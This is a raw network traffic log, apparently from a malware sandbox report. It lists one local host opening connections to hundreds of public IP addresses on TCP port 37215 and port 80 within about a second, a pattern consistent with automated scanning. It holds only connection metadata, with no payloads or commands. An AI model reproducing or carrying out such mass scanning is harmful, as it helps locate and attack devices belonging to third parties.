Dec 3, 2024 22:16:52.811994076 CET	37451	37215	192.168.2.23	197.108.150.18
Dec 3, 2024 22:16:52.812005043 CET	37451	37215	192.168.2.23	197.109.107.47
Dec 3, 2024 22:16:52.812011957 CET	37451	37215	192.168.2.23	156.75.132.206
Dec 3, 2024 22:16:52.812016010 CET	37451	37215	192.168.2.23	197.196.134.219
Dec 3, 2024 22:16:52.812019110 CET	37451	37215	192.168.2.23	197.98.159.65
Dec 3, 2024 22:16:52.812019110 CET	37451	37215	192.168.2.23	156.116.41.5
Dec 3, 2024 22:16:52.812022924 CET	37451	37215	192.168.2.23	41.64.43.53
Dec 3, 2024 22:16:52.812041998 CET	37451	37215	192.168.2.23	41.40.179.43
Dec 3, 2024 22:16:52.812041998 CET	37451	37215	192.168.2.23	197.48.102.103
Dec 3, 2024 22:16:52.812042952 CET	37451	37215	192.168.2.23	156.188.241.51
Dec 3, 2024 22:16:52.812046051 CET	37451	37215	192.168.2.23	197.130.165.189
Dec 3, 2024 22:16:52.812048912 CET	37451	37215	192.168.2.23	41.211.101.193
Dec 3, 2024 22:16:52.812055111 CET	37451	37215	192.168.2.23	156.177.108.68
Dec 3, 2024 22:16:52.812057018 CET	37451	37215	192.168.2.23	41.107.74.237
Dec 3, 2024 22:16:52.812057018 CET	37451	37215	192.168.2.23	156.126.220.66
Dec 3, 2024 22:16:52.812073946 CET	37451	37215	192.168.2.23	156.21.247.218
Dec 3, 2024 22:16:52.812073946 CET	37451	37215	192.168.2.23	197.42.49.71
Dec 3, 2024 22:16:52.812074900 CET	37451	37215	192.168.2.23	156.14.126.128
Dec 3, 2024 22:16:52.812076092 CET	37451	37215	192.168.2.23	41.121.231.215
Dec 3, 2024 22:16:52.812074900 CET	37451	37215	192.168.2.23	197.31.212.189
Dec 3, 2024 22:16:52.812076092 CET	37451	37215	192.168.2.23	41.181.158.65
Dec 3, 2024 22:16:52.812076092 CET	37451	37215	192.168.2.23	197.109.18.52
Dec 3, 2024 22:16:52.812076092 CET	37451	37215	192.168.2.23	197.87.253.56
Dec 3, 2024 22:16:52.812076092 CET	37451	37215	192.168.2.23	41.135.171.69
Dec 3, 2024 22:16:52.812083960 CET	37451	37215	192.168.2.23	156.45.112.221
Dec 3, 2024 22:16:52.812083960 CET	37451	37215	192.168.2.23	41.193.25.181
Dec 3, 2024 22:16:52.812083960 CET	37451	37215	192.168.2.23	156.79.26.61
Dec 3, 2024 22:16:52.812083960 CET	37451	37215	192.168.2.23	156.216.128.25
Dec 3, 2024 22:16:52.812083960 CET	37451	37215	192.168.2.23	156.208.23.242
Dec 3, 2024 22:16:52.812083960 CET	37451	37215	192.168.2.23	41.72.175.252
Dec 3, 2024 22:16:52.812091112 CET	37451	37215	192.168.2.23	41.151.165.54
Dec 3, 2024 22:16:52.812083960 CET	37451	37215	192.168.2.23	156.86.8.78
Dec 3, 2024 22:16:52.812089920 CET	37451	37215	192.168.2.23	41.157.163.14
Dec 3, 2024 22:16:52.812098980 CET	37451	37215	192.168.2.23	156.141.226.84
Dec 3, 2024 22:16:52.812098980 CET	37451	37215	192.168.2.23	197.249.221.247
Dec 3, 2024 22:16:52.812102079 CET	37451	37215	192.168.2.23	41.121.175.124
Dec 3, 2024 22:16:52.812102079 CET	37451	37215	192.168.2.23	41.107.192.237
Dec 3, 2024 22:16:52.812117100 CET	37451	37215	192.168.2.23	41.227.150.203
Dec 3, 2024 22:16:52.812119007 CET	37451	37215	192.168.2.23	197.119.2.49
Dec 3, 2024 22:16:52.812120914 CET	37451	37215	192.168.2.23	41.211.19.79
Dec 3, 2024 22:16:52.812124968 CET	37451	37215	192.168.2.23	156.146.103.25
Dec 3, 2024 22:16:52.812129021 CET	37451	37215	192.168.2.23	41.251.158.5
Dec 3, 2024 22:16:52.812129021 CET	37451	37215	192.168.2.23	41.57.232.194
Dec 3, 2024 22:16:52.812131882 CET	37451	37215	192.168.2.23	156.14.193.216
Dec 3, 2024 22:16:52.812140942 CET	37451	37215	192.168.2.23	41.146.181.100
Dec 3, 2024 22:16:52.812148094 CET	37451	37215	192.168.2.23	41.249.137.18
Dec 3, 2024 22:16:52.812165976 CET	37451	37215	192.168.2.23	41.58.16.102
Dec 3, 2024 22:16:52.812165976 CET	37451	37215	192.168.2.23	197.0.35.218
Dec 3, 2024 22:16:52.812165976 CET	37451	37215	192.168.2.23	156.152.125.100
Dec 3, 2024 22:16:52.812171936 CET	37451	37215	192.168.2.23	41.252.133.16
Dec 3, 2024 22:16:52.812174082 CET	37451	37215	192.168.2.23	197.32.158.138
Dec 3, 2024 22:16:52.812174082 CET	37451	37215	192.168.2.23	197.211.10.74
Dec 3, 2024 22:16:52.812180996 CET	37451	37215	192.168.2.23	41.194.9.147
Dec 3, 2024 22:16:52.812181950 CET	37451	37215	192.168.2.23	41.94.153.199
Dec 3, 2024 22:16:52.812185049 CET	37451	37215	192.168.2.23	41.223.179.182
Dec 3, 2024 22:16:52.812185049 CET	37451	37215	192.168.2.23	156.247.16.143
Dec 3, 2024 22:16:52.812191963 CET	37451	37215	192.168.2.23	197.204.186.27
Dec 3, 2024 22:16:52.812191963 CET	37451	37215	192.168.2.23	156.166.29.135
Dec 3, 2024 22:16:52.812201977 CET	37451	37215	192.168.2.23	197.184.166.40
Dec 3, 2024 22:16:52.812203884 CET	37451	37215	192.168.2.23	41.207.51.128
Dec 3, 2024 22:16:52.812203884 CET	37451	37215	192.168.2.23	41.103.73.143
Dec 3, 2024 22:16:52.812208891 CET	37451	37215	192.168.2.23	156.10.123.118
Dec 3, 2024 22:16:52.812208891 CET	37451	37215	192.168.2.23	41.119.244.34
Dec 3, 2024 22:16:52.812216043 CET	37451	37215	192.168.2.23	197.60.11.202
Dec 3, 2024 22:16:52.812217951 CET	37451	37215	192.168.2.23	156.125.111.148
Dec 3, 2024 22:16:52.812217951 CET	37451	37215	192.168.2.23	156.113.237.5
Dec 3, 2024 22:16:52.812218904 CET	37451	37215	192.168.2.23	156.149.246.164
Dec 3, 2024 22:16:52.812222004 CET	37451	37215	192.168.2.23	156.75.204.61
Dec 3, 2024 22:16:52.812225103 CET	37451	37215	192.168.2.23	156.152.166.93
Dec 3, 2024 22:16:52.812239885 CET	37451	37215	192.168.2.23	197.201.179.96
Dec 3, 2024 22:16:52.812242985 CET	37451	37215	192.168.2.23	156.164.28.164
Dec 3, 2024 22:16:52.812243938 CET	37451	37215	192.168.2.23	197.201.92.216
Dec 3, 2024 22:16:52.812244892 CET	37451	37215	192.168.2.23	41.141.240.125
Dec 3, 2024 22:16:52.812244892 CET	37451	37215	192.168.2.23	156.123.221.172
Dec 3, 2024 22:16:52.812244892 CET	37451	37215	192.168.2.23	156.80.26.205
Dec 3, 2024 22:16:52.812244892 CET	37451	37215	192.168.2.23	156.125.138.2
Dec 3, 2024 22:16:52.812244892 CET	37451	37215	192.168.2.23	156.5.131.22
Dec 3, 2024 22:16:52.812248945 CET	37451	37215	192.168.2.23	41.58.220.176
Dec 3, 2024 22:16:52.812248945 CET	37451	37215	192.168.2.23	156.75.132.18
Dec 3, 2024 22:16:52.812269926 CET	37451	37215	192.168.2.23	41.31.78.49
Dec 3, 2024 22:16:52.812273979 CET	37451	37215	192.168.2.23	41.243.54.154
Dec 3, 2024 22:16:52.812273979 CET	37451	37215	192.168.2.23	156.179.238.125
Dec 3, 2024 22:16:52.812273979 CET	37451	37215	192.168.2.23	197.201.216.227
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	197.82.191.50
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	41.115.49.72
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	156.127.89.46
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	197.111.124.234
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	197.177.1.196
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	197.155.29.169
Dec 3, 2024 22:16:52.812278032 CET	37451	37215	192.168.2.23	197.173.164.97
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	197.201.79.197
Dec 3, 2024 22:16:52.812278032 CET	37451	37215	192.168.2.23	41.1.139.135
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	156.191.42.43
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	41.241.224.229
Dec 3, 2024 22:16:52.812278032 CET	37451	37215	192.168.2.23	197.185.178.203
Dec 3, 2024 22:16:52.812285900 CET	37451	37215	192.168.2.23	156.184.215.200
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	156.252.217.167
Dec 3, 2024 22:16:52.812278032 CET	37451	37215	192.168.2.23	41.146.121.97
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	197.120.94.235
Dec 3, 2024 22:16:52.812285900 CET	37451	37215	192.168.2.23	197.41.70.19
Dec 3, 2024 22:16:52.812278032 CET	37451	37215	192.168.2.23	156.144.241.95
Dec 3, 2024 22:16:52.812274933 CET	37451	37215	192.168.2.23	197.162.141.42
Dec 3, 2024 22:16:52.812275887 CET	37451	37215	192.168.2.23	156.254.33.59
Dec 3, 2024 22:16:52.812275887 CET	37451	37215	192.168.2.23	41.244.84.222
Dec 3, 2024 22:16:52.812294006 CET	37451	37215	192.168.2.23	156.241.10.126
Dec 3, 2024 22:16:52.812297106 CET	37451	37215	192.168.2.23	197.226.224.124
Dec 3, 2024 22:16:52.812297106 CET	37451	37215	192.168.2.23	197.136.142.215
Dec 3, 2024 22:16:52.812297106 CET	37451	37215	192.168.2.23	41.3.46.146
Dec 3, 2024 22:16:52.812302113 CET	37451	37215	192.168.2.23	41.95.189.53
Dec 3, 2024 22:16:52.812302113 CET	37451	37215	192.168.2.23	156.229.22.184
Dec 3, 2024 22:16:52.812304020 CET	37451	37215	192.168.2.23	156.203.25.236
Dec 3, 2024 22:16:52.812304020 CET	37451	37215	192.168.2.23	197.229.244.172
Dec 3, 2024 22:16:52.812308073 CET	37451	37215	192.168.2.23	41.53.160.110
Dec 3, 2024 22:16:52.812308073 CET	37451	37215	192.168.2.23	197.252.17.163
Dec 3, 2024 22:16:52.812314034 CET	37451	37215	192.168.2.23	156.200.38.38
Dec 3, 2024 22:16:52.812318087 CET	37451	37215	192.168.2.23	41.188.228.196
Dec 3, 2024 22:16:52.812319040 CET	37451	37215	192.168.2.23	41.227.210.181
Dec 3, 2024 22:16:52.812320948 CET	37451	37215	192.168.2.23	41.125.246.69
Dec 3, 2024 22:16:52.812321901 CET	37451	37215	192.168.2.23	41.162.129.208
Dec 3, 2024 22:16:52.812321901 CET	37451	37215	192.168.2.23	156.254.63.6
Dec 3, 2024 22:16:52.812323093 CET	37451	37215	192.168.2.23	197.50.55.41
Dec 3, 2024 22:16:52.812323093 CET	37451	37215	192.168.2.23	197.77.242.158
Dec 3, 2024 22:16:52.812324047 CET	37451	37215	192.168.2.23	197.151.12.237
Dec 3, 2024 22:16:52.812341928 CET	37451	37215	192.168.2.23	197.214.101.149
Dec 3, 2024 22:16:52.812341928 CET	37451	37215	192.168.2.23	41.108.103.153
Dec 3, 2024 22:16:52.812344074 CET	37451	37215	192.168.2.23	197.150.73.24
Dec 3, 2024 22:16:52.812344074 CET	37451	37215	192.168.2.23	197.114.24.87
Dec 3, 2024 22:16:52.812345028 CET	37451	37215	192.168.2.23	197.136.193.216
Dec 3, 2024 22:16:52.812345028 CET	37451	37215	192.168.2.23	156.186.182.151
Dec 3, 2024 22:16:52.812345982 CET	37451	37215	192.168.2.23	197.1.102.189
Dec 3, 2024 22:16:52.812346935 CET	37451	37215	192.168.2.23	197.41.247.113
Dec 3, 2024 22:16:52.812345982 CET	37451	37215	192.168.2.23	41.114.124.223
Dec 3, 2024 22:16:52.812346935 CET	37451	37215	192.168.2.23	41.144.194.19
Dec 3, 2024 22:16:52.812346935 CET	37451	37215	192.168.2.23	41.107.6.59
Dec 3, 2024 22:16:52.812345982 CET	37451	37215	192.168.2.23	197.82.110.118
Dec 3, 2024 22:16:52.812346935 CET	37451	37215	192.168.2.23	41.251.214.55
Dec 3, 2024 22:16:52.812369108 CET	37451	37215	192.168.2.23	156.92.103.202
Dec 3, 2024 22:16:52.812369108 CET	37451	37215	192.168.2.23	41.109.87.65
Dec 3, 2024 22:16:52.812370062 CET	37451	37215	192.168.2.23	41.0.207.60
Dec 3, 2024 22:16:52.812370062 CET	37451	37215	192.168.2.23	197.228.164.95
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	197.30.72.133
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	156.192.154.20
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	41.201.108.178
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	41.159.151.86
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	197.21.133.27
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	41.182.190.205
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	197.205.187.81
Dec 3, 2024 22:16:52.812377930 CET	37451	37215	192.168.2.23	156.116.104.117
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	156.8.0.187
Dec 3, 2024 22:16:52.812372923 CET	37451	37215	192.168.2.23	156.171.135.137
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	197.237.68.118
Dec 3, 2024 22:16:52.812372923 CET	37451	37215	192.168.2.23	41.134.85.252
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	156.15.243.121
Dec 3, 2024 22:16:52.812381983 CET	37451	37215	192.168.2.23	156.94.119.217
Dec 3, 2024 22:16:52.812371969 CET	37451	37215	192.168.2.23	197.29.6.208
Dec 3, 2024 22:16:52.812390089 CET	37451	37215	192.168.2.23	197.92.149.148
Dec 3, 2024 22:16:52.812391043 CET	37451	37215	192.168.2.23	197.74.143.165
Dec 3, 2024 22:16:52.812393904 CET	37451	37215	192.168.2.23	197.147.233.17
Dec 3, 2024 22:16:52.812395096 CET	37451	37215	192.168.2.23	197.80.149.209
Dec 3, 2024 22:16:52.812395096 CET	37451	37215	192.168.2.23	41.74.157.73
Dec 3, 2024 22:16:52.812395096 CET	37451	37215	192.168.2.23	156.109.250.65
Dec 3, 2024 22:16:52.812401056 CET	37451	37215	192.168.2.23	197.13.246.147
Dec 3, 2024 22:16:52.812403917 CET	37451	37215	192.168.2.23	197.114.218.223
Dec 3, 2024 22:16:52.812410116 CET	37451	37215	192.168.2.23	156.44.110.172
Dec 3, 2024 22:16:52.812411070 CET	37451	37215	192.168.2.23	156.212.166.96
Dec 3, 2024 22:16:52.812411070 CET	37451	37215	192.168.2.23	156.76.42.163
Dec 3, 2024 22:16:52.812413931 CET	37451	37215	192.168.2.23	41.27.18.37
Dec 3, 2024 22:16:52.812418938 CET	37451	37215	192.168.2.23	41.155.198.173
Dec 3, 2024 22:16:52.812421083 CET	37451	37215	192.168.2.23	156.88.235.146
Dec 3, 2024 22:16:52.812426090 CET	37451	37215	192.168.2.23	197.226.180.179
Dec 3, 2024 22:16:52.812426090 CET	37451	37215	192.168.2.23	41.158.97.165
Dec 3, 2024 22:16:52.812433004 CET	37451	37215	192.168.2.23	197.181.124.19
Dec 3, 2024 22:16:52.812436104 CET	37451	37215	192.168.2.23	197.174.118.23
Dec 3, 2024 22:16:52.812436104 CET	37451	37215	192.168.2.23	197.19.63.27
Dec 3, 2024 22:16:52.812439919 CET	37451	37215	192.168.2.23	156.93.196.233
Dec 3, 2024 22:16:52.812443018 CET	37451	37215	192.168.2.23	156.34.228.179
Dec 3, 2024 22:16:52.812443018 CET	37451	37215	192.168.2.23	41.8.120.183
Dec 3, 2024 22:16:52.812453032 CET	37451	37215	192.168.2.23	156.241.234.123
Dec 3, 2024 22:16:52.812455893 CET	37451	37215	192.168.2.23	41.254.35.85
Dec 3, 2024 22:16:52.812455893 CET	37451	37215	192.168.2.23	156.46.96.228
Dec 3, 2024 22:16:52.812457085 CET	37451	37215	192.168.2.23	156.177.175.104
Dec 3, 2024 22:16:52.812458038 CET	37451	37215	192.168.2.23	41.144.130.67
Dec 3, 2024 22:16:52.812458992 CET	37451	37215	192.168.2.23	41.1.166.178
Dec 3, 2024 22:16:52.812477112 CET	37451	37215	192.168.2.23	156.101.188.18
Dec 3, 2024 22:16:52.812478065 CET	37451	37215	192.168.2.23	41.173.72.48
Dec 3, 2024 22:16:52.812478065 CET	37451	37215	192.168.2.23	197.145.137.75
Dec 3, 2024 22:16:52.812478065 CET	37451	37215	192.168.2.23	156.144.194.173
Dec 3, 2024 22:16:52.812479019 CET	37451	37215	192.168.2.23	197.204.72.37
Dec 3, 2024 22:16:52.812479019 CET	37451	37215	192.168.2.23	197.155.114.5
Dec 3, 2024 22:16:52.812479973 CET	37451	37215	192.168.2.23	156.159.157.182
Dec 3, 2024 22:16:52.812479019 CET	37451	37215	192.168.2.23	156.183.233.75
Dec 3, 2024 22:16:52.812479019 CET	37451	37215	192.168.2.23	197.42.172.62
Dec 3, 2024 22:16:52.812479019 CET	37451	37215	192.168.2.23	156.126.26.212
Dec 3, 2024 22:16:52.812479019 CET	37451	37215	192.168.2.23	156.226.12.51
Dec 3, 2024 22:16:52.812479019 CET	37451	37215	192.168.2.23	156.94.197.166
Dec 3, 2024 22:16:52.812479019 CET	37451	37215	192.168.2.23	156.223.196.180
Dec 3, 2024 22:16:52.812488079 CET	37451	37215	192.168.2.23	197.231.241.169
Dec 3, 2024 22:16:52.812490940 CET	37451	37215	192.168.2.23	197.245.218.54
Dec 3, 2024 22:16:52.812490940 CET	37451	37215	192.168.2.23	156.61.111.157
Dec 3, 2024 22:16:52.812491894 CET	37451	37215	192.168.2.23	41.94.35.178
Dec 3, 2024 22:16:52.812491894 CET	37451	37215	192.168.2.23	156.88.180.149
Dec 3, 2024 22:16:52.812491894 CET	37451	37215	192.168.2.23	197.193.163.199
Dec 3, 2024 22:16:52.812491894 CET	37451	37215	192.168.2.23	41.221.53.79
Dec 3, 2024 22:16:52.812500954 CET	37451	37215	192.168.2.23	41.190.197.65
Dec 3, 2024 22:16:52.812503099 CET	37451	37215	192.168.2.23	156.6.35.12
Dec 3, 2024 22:16:52.812503099 CET	37451	37215	192.168.2.23	156.229.132.42
Dec 3, 2024 22:16:52.812504053 CET	37451	37215	192.168.2.23	41.135.151.250
Dec 3, 2024 22:16:52.812504053 CET	37451	37215	192.168.2.23	197.54.157.25
Dec 3, 2024 22:16:52.812505960 CET	37451	37215	192.168.2.23	156.252.73.68
Dec 3, 2024 22:16:52.812505960 CET	37451	37215	192.168.2.23	41.218.5.200
Dec 3, 2024 22:16:52.812510967 CET	37451	37215	192.168.2.23	156.27.46.29
Dec 3, 2024 22:16:52.812510967 CET	37451	37215	192.168.2.23	156.151.190.173
Dec 3, 2024 22:16:52.812510967 CET	37451	37215	192.168.2.23	156.248.12.24
Dec 3, 2024 22:16:52.812513113 CET	37451	37215	192.168.2.23	41.49.193.146
Dec 3, 2024 22:16:52.812524080 CET	37451	37215	192.168.2.23	41.237.50.67
Dec 3, 2024 22:16:52.812524080 CET	37451	37215	192.168.2.23	197.146.141.152
Dec 3, 2024 22:16:52.812524080 CET	37451	37215	192.168.2.23	41.114.216.65
Dec 3, 2024 22:16:52.812525988 CET	37451	37215	192.168.2.23	156.119.217.213
Dec 3, 2024 22:16:52.812530994 CET	37451	37215	192.168.2.23	197.100.160.12
Dec 3, 2024 22:16:52.812622070 CET	53260	37215	192.168.2.23	197.235.112.160
Dec 3, 2024 22:16:52.812622070 CET	53260	37215	192.168.2.23	197.235.112.160
Dec 3, 2024 22:16:52.813113928 CET	53344	37215	192.168.2.23	197.235.112.160
Dec 3, 2024 22:16:52.814321995 CET	80	35252	210.36.162.136	192.168.2.23
Dec 3, 2024 22:16:52.814366102 CET	35252	80	192.168.2.23	210.36.162.136
Dec 3, 2024 22:16:52.836600065 CET	80	52256	110.23.29.220	192.168.2.23
Dec 3, 2024 22:16:52.836652040 CET	52256	80	192.168.2.23	110.23.29.220
Dec 3, 2024 22:16:52.836947918 CET	80	49576	107.229.45.191	192.168.2.23
Dec 3, 2024 22:16:52.837101936 CET	49576	80	192.168.2.23	107.229.45.191
Dec 3, 2024 22:16:52.837129116 CET	80	52704	182.205.184.220	192.168.2.23
Dec 3, 2024 22:16:52.837168932 CET	52704	80	192.168.2.23	182.205.184.220
Dec 3, 2024 22:16:52.840620995 CET	80	38588	143.95.246.74	192.168.2.23
Dec 3, 2024 22:16:52.840666056 CET	38588	80	192.168.2.23	143.95.246.74
Dec 3, 2024 22:16:52.843456030 CET	80	39612	191.228.77.210	192.168.2.23
Dec 3, 2024 22:16:52.843485117 CET	80	59226	116.216.114.6	192.168.2.23
Dec 3, 2024 22:16:52.843494892 CET	80	42840	189.147.217.224	192.168.2.23
Dec 3, 2024 22:16:52.843508005 CET	39612	80	192.168.2.23	191.228.77.210
Dec 3, 2024 22:16:52.843523979 CET	59226	80	192.168.2.23	116.216.114.6
Dec 3, 2024 22:16:52.843524933 CET	42840	80	192.168.2.23	189.147.217.224
Dec 3, 2024 22:16:52.843851089 CET	38702	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:52.844374895 CET	35332	80	192.168.2.23	174.196.88.173
Dec 3, 2024 22:16:52.844933033 CET	39456	80	192.168.2.23	156.146.98.24
Dec 3, 2024 22:16:52.845472097 CET	42152	80	192.168.2.23	60.178.102.141
Dec 3, 2024 22:16:52.846016884 CET	36528	80	192.168.2.23	173.92.73.28
Dec 3, 2024 22:16:52.846585989 CET	49166	80	192.168.2.23	207.31.188.4
Dec 3, 2024 22:16:52.847131014 CET	38642	80	192.168.2.23	129.65.108.220
Dec 3, 2024 22:16:52.847692013 CET	40120	80	192.168.2.23	131.59.130.94
Dec 3, 2024 22:16:52.848242044 CET	55076	80	192.168.2.23	20.46.92.83
Dec 3, 2024 22:16:52.848752975 CET	59226	80	192.168.2.23	116.216.114.6
Dec 3, 2024 22:16:52.848752975 CET	59226	80	192.168.2.23	116.216.114.6
Dec 3, 2024 22:16:52.849005938 CET	59278	80	192.168.2.23	116.216.114.6
Dec 3, 2024 22:16:52.849328041 CET	42840	80	192.168.2.23	189.147.217.224
Dec 3, 2024 22:16:52.849328041 CET	42840	80	192.168.2.23	189.147.217.224
Dec 3, 2024 22:16:52.849560976 CET	42892	80	192.168.2.23	189.147.217.224
Dec 3, 2024 22:16:52.849864006 CET	39612	80	192.168.2.23	191.228.77.210
Dec 3, 2024 22:16:52.849864006 CET	39612	80	192.168.2.23	191.228.77.210
Dec 3, 2024 22:16:52.850100994 CET	39662	80	192.168.2.23	191.228.77.210
Dec 3, 2024 22:16:52.908821106 CET	80	41964	192.18.96.173	192.168.2.23
Dec 3, 2024 22:16:52.909022093 CET	41964	80	192.168.2.23	192.18.96.173
Dec 3, 2024 22:16:52.909022093 CET	41964	80	192.168.2.23	192.18.96.173
Dec 3, 2024 22:16:52.932001114 CET	37215	37451	197.125.185.133	192.168.2.23
Dec 3, 2024 22:16:52.932013988 CET	37215	37451	156.127.117.248	192.168.2.23
Dec 3, 2024 22:16:52.932034016 CET	37215	37451	156.173.48.6	192.168.2.23
Dec 3, 2024 22:16:52.932044029 CET	37215	37451	41.72.40.186	192.168.2.23
Dec 3, 2024 22:16:52.932054996 CET	37215	37451	156.30.63.25	192.168.2.23
Dec 3, 2024 22:16:52.932081938 CET	37451	37215	192.168.2.23	197.125.185.133
Dec 3, 2024 22:16:52.932084084 CET	37451	37215	192.168.2.23	156.127.117.248
Dec 3, 2024 22:16:52.932095051 CET	37451	37215	192.168.2.23	156.30.63.25
Dec 3, 2024 22:16:52.932097912 CET	37451	37215	192.168.2.23	156.173.48.6
Dec 3, 2024 22:16:52.932101011 CET	37451	37215	192.168.2.23	41.72.40.186
Dec 3, 2024 22:16:52.932123899 CET	37215	37451	156.110.116.192	192.168.2.23
Dec 3, 2024 22:16:52.932135105 CET	37215	37451	156.142.216.19	192.168.2.23
Dec 3, 2024 22:16:52.932147026 CET	37215	37451	197.1.206.139	192.168.2.23
Dec 3, 2024 22:16:52.932166100 CET	37451	37215	192.168.2.23	156.110.116.192
Dec 3, 2024 22:16:52.932172060 CET	37451	37215	192.168.2.23	156.142.216.19
Dec 3, 2024 22:16:52.932178020 CET	37451	37215	192.168.2.23	197.1.206.139
Dec 3, 2024 22:16:52.932545900 CET	37215	53260	197.235.112.160	192.168.2.23
Dec 3, 2024 22:16:52.964420080 CET	80	38702	180.60.94.132	192.168.2.23
Dec 3, 2024 22:16:52.964471102 CET	38702	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:52.964514017 CET	38702	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:52.964514017 CET	38702	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:52.964854002 CET	38726	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:52.964885950 CET	80	35332	174.196.88.173	192.168.2.23
Dec 3, 2024 22:16:52.964922905 CET	35332	80	192.168.2.23	174.196.88.173
Dec 3, 2024 22:16:52.965183020 CET	35332	80	192.168.2.23	174.196.88.173
Dec 3, 2024 22:16:52.965183020 CET	35332	80	192.168.2.23	174.196.88.173
Dec 3, 2024 22:16:52.965262890 CET	80	39456	156.146.98.24	192.168.2.23
Dec 3, 2024 22:16:52.965305090 CET	39456	80	192.168.2.23	156.146.98.24
Dec 3, 2024 22:16:52.965425014 CET	35356	80	192.168.2.23	174.196.88.173
Dec 3, 2024 22:16:52.965758085 CET	39456	80	192.168.2.23	156.146.98.24
Dec 3, 2024 22:16:52.965758085 CET	39456	80	192.168.2.23	156.146.98.24
Dec 3, 2024 22:16:52.966017008 CET	39480	80	192.168.2.23	156.146.98.24
Dec 3, 2024 22:16:52.967612028 CET	80	40120	131.59.130.94	192.168.2.23
Dec 3, 2024 22:16:52.967653036 CET	40120	80	192.168.2.23	131.59.130.94
Dec 3, 2024 22:16:52.967680931 CET	40120	80	192.168.2.23	131.59.130.94
Dec 3, 2024 22:16:52.967680931 CET	40120	80	192.168.2.23	131.59.130.94
Dec 3, 2024 22:16:52.967922926 CET	40136	80	192.168.2.23	131.59.130.94
Dec 3, 2024 22:16:52.968581915 CET	80	59226	116.216.114.6	192.168.2.23
Dec 3, 2024 22:16:52.969247103 CET	80	42840	189.147.217.224	192.168.2.23
Dec 3, 2024 22:16:52.969712973 CET	80	39612	191.228.77.210	192.168.2.23
Dec 3, 2024 22:16:52.979581118 CET	37215	53260	197.235.112.160	192.168.2.23
Dec 3, 2024 22:16:53.011517048 CET	80	39612	191.228.77.210	192.168.2.23
Dec 3, 2024 22:16:53.011550903 CET	80	42840	189.147.217.224	192.168.2.23
Dec 3, 2024 22:16:53.011559010 CET	80	59226	116.216.114.6	192.168.2.23
Dec 3, 2024 22:16:53.029397964 CET	80	41964	192.18.96.173	192.168.2.23
Dec 3, 2024 22:16:53.029609919 CET	41964	80	192.168.2.23	192.18.96.173
Dec 3, 2024 22:16:53.084558964 CET	80	38702	180.60.94.132	192.168.2.23
Dec 3, 2024 22:16:53.084721088 CET	80	38726	180.60.94.132	192.168.2.23
Dec 3, 2024 22:16:53.084779024 CET	38726	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:53.084796906 CET	38726	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:53.084816933 CET	37707	80	192.168.2.23	150.222.20.65
Dec 3, 2024 22:16:53.084817886 CET	37707	80	192.168.2.23	129.148.53.122
Dec 3, 2024 22:16:53.084819078 CET	37707	80	192.168.2.23	42.222.254.70
Dec 3, 2024 22:16:53.084827900 CET	37707	80	192.168.2.23	209.127.151.124
Dec 3, 2024 22:16:53.084830999 CET	37707	80	192.168.2.23	89.137.176.141
Dec 3, 2024 22:16:53.084830999 CET	37707	80	192.168.2.23	82.147.27.113
Dec 3, 2024 22:16:53.084837914 CET	37707	80	192.168.2.23	179.140.51.217
Dec 3, 2024 22:16:53.084837914 CET	37707	80	192.168.2.23	102.76.177.99
Dec 3, 2024 22:16:53.084839106 CET	37707	80	192.168.2.23	155.118.130.193
Dec 3, 2024 22:16:53.084842920 CET	37707	80	192.168.2.23	208.52.232.31
Dec 3, 2024 22:16:53.084849119 CET	37707	80	192.168.2.23	154.142.82.9
Dec 3, 2024 22:16:53.084849119 CET	37707	80	192.168.2.23	189.182.4.61
Dec 3, 2024 22:16:53.084856033 CET	37707	80	192.168.2.23	200.217.174.254
Dec 3, 2024 22:16:53.084856033 CET	37707	80	192.168.2.23	123.103.236.184
Dec 3, 2024 22:16:53.084856033 CET	37707	80	192.168.2.23	63.186.73.228
Dec 3, 2024 22:16:53.084860086 CET	37707	80	192.168.2.23	165.204.23.192
Dec 3, 2024 22:16:53.084867954 CET	37707	80	192.168.2.23	96.166.52.191
Dec 3, 2024 22:16:53.084870100 CET	37707	80	192.168.2.23	66.167.139.239
Dec 3, 2024 22:16:53.084872007 CET	37707	80	192.168.2.23	102.244.213.7
Dec 3, 2024 22:16:53.084872007 CET	37707	80	192.168.2.23	119.163.95.200
Dec 3, 2024 22:16:53.084875107 CET	37707	80	192.168.2.23	79.243.144.125
Dec 3, 2024 22:16:53.084876060 CET	37707	80	192.168.2.23	25.79.31.21
Dec 3, 2024 22:16:53.084877968 CET	37707	80	192.168.2.23	166.253.196.2
Dec 3, 2024 22:16:53.084892035 CET	37707	80	192.168.2.23	66.111.78.123
Dec 3, 2024 22:16:53.084893942 CET	37707	80	192.168.2.23	156.121.252.6
Dec 3, 2024 22:16:53.084892988 CET	37707	80	192.168.2.23	186.98.54.114
